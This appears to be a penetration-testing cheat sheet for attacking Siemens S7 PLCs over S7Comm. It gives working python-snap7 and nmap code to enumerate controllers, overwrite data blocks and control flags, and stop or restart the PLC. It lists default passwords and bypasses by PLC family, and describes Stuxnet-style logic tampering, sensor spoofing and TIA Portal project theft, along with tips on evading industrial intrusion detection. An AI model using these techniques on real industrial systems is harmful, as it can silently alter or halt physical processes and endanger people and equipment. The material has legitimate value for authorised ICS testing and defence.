ics-s7comm

# Siemens S7 PLC Attack S7Comm runs over ISO-on-TCP (RFC 1006), TCP/102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it. ## Discover ```bash nmap -p 102 --script=s7-info 10.0.0.0/24 # s7-info NSE returns Module Type, Order Code, Firmware, PLC name # Or with snap7 python3 -c ' import snap7 c = snap7.client.Client() c.connect("10.0.0.50", 0, 1) # IP, rack, slot print(c.get_cpu_info()) print(c.get_cp_info()) print(c.get_order_code()) ' ``` ## Read / Write data blocks S7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter). ```python import snap7 from snap7 import util c = snap7.client.Client() c.connect("10.0.0.50", 0, 1) # Read 100 bytes from DB10 data = c.db_read(10, 0, 100) # Decode: print("DB10.DBX0.0 (bit):", util.get_bool(data, 0, 0)) print("DB10.DBW2 (int):", util.get_int(data, 2)) print("DB10.DBD4 (real):", util.get_real(data, 4)) # Write back util.set_real(data, 4, 99.9) c.db_write(10, 0, data) ``` ## Stop / Start the PLC ```python c.plc_stop() # ⚠ halts execution of the user program — process stops c.plc_hot_start() # Resume c.plc_cold_start() # Restart with full init # Each is unauthenticated on S7-300/400 by default. ``` ## Authentication / "Protection Level" differences | PLC family | Default protection | Bypass class | |---|---|---| | S7-300/400 | Often none ("No Protection") | Direct | | S7-1200 (FW < V4) | None or password (cleartext on wire) | Sniff password | | S7-1200 (FW V4+) | Password + challenge-response | Replay session, weak hash | | S7-1500 | Password + challenge | CVE-2019-10936 (info leak), then offline crack | ```python # S7-1200/1500 password auth via snap7's set_session_password c.set_session_password("changeme") # Common defaults: "0000000", "siemens", "100", blank, vendor name ``` ## Stuxnet-class primitives (S7-300/400 still in many old fleets) - **Function block tampering**: write a custom FB that replaces an existing one — process logic silently changes. - **OB1 hook**: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle. - **PROFIBUS frame injection** (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven. ```python # Write a DB byte that's a control flag in the PLC program c.write_area(0x84, 1, 0, bytearray([0xFF])) # write to DB1 byte 0 ``` ## CVE-2019-10936 — info leak on S7-1200/1500 Send a crafted COTP packet → PLC returns memory regions (uncovered password hash on some firmwares): ```bash # PoC: github.com/Nibblesec/s7-info-leak python3 leak.py 10.0.0.50 ``` ## TIA Portal interaction If you have network access to TIA Portal (the engineering workstation) instead of just the PLC, you can: - Steal the project file (`.ap16`) — contains every PLC's logic, comments, possibly password hashes - Replace the project being deployed to inject persistent logic changes - Default TIA Portal SQL — port 1433 with default sa / no password on older installs ## OPSEC + safety - **Physical safety**: `plc_stop()` halts whatever the PLC controls. Pumps stop, valves freeze in last state, motors coast. Confirm scope authorization for stop-class testing. - Read-only enumeration is generally safe and silent. S7 has no audit log. - IT-OT IDS (Claroty, Nozomi, Dragos) flags new S7Comm sources — first connection from your IP is loud. - Siemens TIA Portal logs every project upload/download. Tampering with logic is detectable post-engagement during the next checksum review. ## References - snap7 docs — snap7.sourceforge.net - "The S7Comm protocol" — Wireshark dissector docs - ICS-CERT advisories on Siemens products (https://www.cisa.gov/uscert/ics/advisories) - "Stuxnet Deep Dive" — Ralph Langner (still the canonical reference)